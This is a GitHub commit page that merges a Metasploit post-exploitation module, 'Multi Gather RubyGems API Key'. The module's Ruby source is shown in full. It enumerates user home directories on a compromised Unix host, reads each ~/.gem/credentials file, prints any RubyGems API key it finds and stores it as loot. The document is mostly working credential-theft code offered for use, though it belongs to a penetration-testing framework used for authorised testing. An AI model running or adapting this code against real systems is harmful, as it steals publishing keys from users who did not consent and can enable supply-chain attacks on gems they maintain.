Skip to content

Commit fd4812f

Browse files
committed
Land rapid7#4645, @claudijd's RubyGems API key stealer
Dedicating this merge to @todb-r7. :-)
2 parents 7b4fd2f + d53f4e1 commit fd4812f

File tree

1 file changed

+67
-0
lines changed

1 file changed

+67
-0
lines changed
Lines changed: 67 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,67 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'yaml'
8+
9+
class Metasploit4 < Msf::Post
10+
11+
include Msf::Post::File
12+
include Msf::Post::Unix
13+
14+
def initialize(info = {})
15+
super(update_info(info,
16+
'Name' => 'Multi Gather RubyGems API Key',
17+
'Description' => %q{
18+
This module obtains a user's RubyGems API key from ~/.gem/credentials.
19+
},
20+
'Author' => [
21+
'Jonathan Claudius <jclaudius[at]trustwave.com>',
22+
'Brandon Myers <bmyers[at]trustwave.com>'
23+
],
24+
'Platform' => %w{bsd linux osx unix},
25+
'SessionTypes' => %w{shell},
26+
'License' => MSF_LICENSE
27+
))
28+
end
29+
30+
def run
31+
print_status('Finding ~/.gem/credentials')
32+
paths = enum_user_directories.map { |d| d + '/.gem/credentials' }
33+
paths = paths.select { |f| file?(f) }
34+
35+
if paths.empty?
36+
print_error('No users found with a ~/.gem/credentials file')
37+
return
38+
end
39+
40+
download_key(paths)
41+
end
42+
43+
def download_key(paths)
44+
print_status("Looting #{paths.count} files")
45+
paths.each do |path|
46+
path.chomp!
47+
next if ['.', '..'].include?(path)
48+
49+
rubygems_api_key = YAML.load(read_file(path))[:rubygems_api_key]
50+
next unless rubygems_api_key
51+
52+
print_good("Found a RubyGems API key: #{rubygems_api_key}")
53+
54+
loot_path = store_loot(
55+
'rubygems.apikey',
56+
'text/plain',
57+
session,
58+
rubygems_api_key,
59+
'rubygems_api_key.txt',
60+
'RubyGems API key'
61+
)
62+
63+
print_good("RubyGems API key stored in #{loot_path}")
64+
end
65+
end
66+
67+
end

0 commit comments

Comments
 (0)